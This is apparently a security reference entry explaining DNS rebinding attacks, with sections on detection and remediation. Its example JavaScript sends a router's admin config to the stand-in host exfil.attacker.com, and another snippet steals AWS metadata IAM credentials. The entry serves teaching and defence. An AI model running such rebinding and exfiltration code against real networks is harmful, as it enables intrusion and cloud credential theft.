DNS Rebinding

Description

DNS rebinding is an attack that exploits the browser's same-origin policy by manipulating DNS resolution. The same-origin policy prevents a page at attacker.com from making requests to internal-service.local. DNS rebinding circumvents this by first making the victim's browser load a page from a domain (attacker.com) that initially resolves to the attacker's server, then rapidly re-resolving that domain to an internal IP address (e.g., 192.168.1.1). The browser, still considering the page to be at attacker.com, now forwards all subsequent requests directly to the internal service.

CWE-350 (Reliance on Reverse DNS Resolution for a Security-Critical Action) and A05:2021 Security Misconfiguration capture the nature of the attack: internal services that rely on network segmentation alone—without host header validation or application-level authentication—are vulnerable to access from the internet via the rebinding vector. The attack effectively makes the victim's browser into an unwitting proxy to their own internal network.

DNS rebinding is particularly relevant to IoT devices (home routers, smart home controllers, network cameras), development servers running on localhost, Kubernetes API servers, internal dashboards, and any service that assumes its network position provides sufficient protection. Tools like Singularity of Origin automate DNS rebinding attacks.

How It Works

The attack follows a precisely timed sequence:

1. The attacker registers evil.attacker.com with a very short TTL (0 or 1 second).
2. The attacker serves a page from evil.attacker.com that the victim loads in their browser (e.g., via a phishing link or malvertising).
3. The attacker changes the DNS record for evil.attacker.com to point to a target internal IP (e.g., 192.168.1.1 for a home router, or 169.254.169.254 for AWS metadata).
4. After the TTL expires, the attacker's JavaScript triggers a new request to evil.attacker.com. The browser re-resolves the domain and now fetches from the internal IP.
5. The browser continues to allow the attacker's page (still considered evil.attacker.com) to read responses from the internal service.

// Attacker's JavaScript — executing in victim's browser
// Phase 1: Domain resolves to attacker.com server (normal)
fetch('https://evil.attacker.com/api/status')
  .then(r => r.text())
  .then(data => console.log('Phase 1:', data));

// Phase 2 (after DNS rebind): Domain now resolves to 192.168.1.1
setTimeout(() => {
  fetch('https://evil.attacker.com/admin/config')
    .then(r => r.json())
    .then(adminData => {
      // exfiltrate router admin config
      fetch('https://exfil.attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify(adminData)
      });
    });
}, 5000);  // Wait for TTL expiry and DNS rebind

A concrete attack scenario targets the AWS EC2 metadata service through a developer's browser:

// After rebind to 169.254.169.254:
fetch('http://evil.attacker.com/latest/meta-data/iam/security-credentials/role-name')
  .then(r => r.json())
  .then(creds => exfiltrate(creds));
// Receives AWS IAM temporary credentials

The Singularity of Origin tool automates the entire rebinding lifecycle, including managing DNS records, timing TTL expiry, and serving exploit payloads.

Impact

• Internal service compromise — Attackers gain full access to internal APIs, admin panels, and management interfaces protected only by network segmentation.
• Cloud credential theft — Rebinding to 169.254.169.254 exfiltrates cloud provider IAM credentials from EC2, GCE, and Azure metadata services.
• Router and IoT compromise — Home router admin interfaces are taken over, enabling DNS hijacking that persists after the attack page is closed.
• Lateral movement — Compromised internal API access provides a pivot point for further internal network enumeration and exploitation.
• Developer workstation attacks — Local development services running on localhost with no authentication are exposed to websites visited by the developer.

Detection

1. Identify all internal services accessible via HTTP that rely solely on network position (internal IP, localhost) for protection without application-level authentication.
2. Test whether internal services validate the Host header: send a request with Host: evil.attacker.com directly to an internal service IP and observe whether it responds with its normal content.
3. Use the Singularity of Origin tool to simulate a DNS rebinding attack against known internal service IPs from an external machine.
4. Check whether internal services implement HTTPS with valid certificates—certificate validation partially mitigates rebinding by causing the browser to reject the connection when the certificate doesn't match the rebound IP.
5. Verify that cloud metadata endpoints are protected by IMDSv2 (requiring a PUT request with a hop-limit token before GET requests), which defeats rebinding-based metadata theft.

Remediation

Validate the Host header on all internal services. Internal services must reject requests where the Host header does not match their configured hostname or IP:

ALLOWED_INTERNAL_HOSTS = ['internal-service.company.local', '192.168.1.100']
if request.headers.get('Host') not in ALLOWED_INTERNAL_HOSTS:
    return Response(status=403)

Require authentication on all services. Services that assume network position for protection must be retrofitted with authentication. Network segmentation is a defense-in-depth layer, not a primary access control.

Enable IMDSv2 for cloud metadata. AWS IMDSv2 requires a PUT request with a hop limit of 1 to obtain a session token before metadata requests are accepted, defeating all SSRF and DNS rebinding attacks against the metadata service.

Use HTTPS with certificate validation. Services that serve HTTPS with a valid certificate will cause the browser to reject connections after a DNS rebind because the certificate hostname will not match the newly resolved internal IP.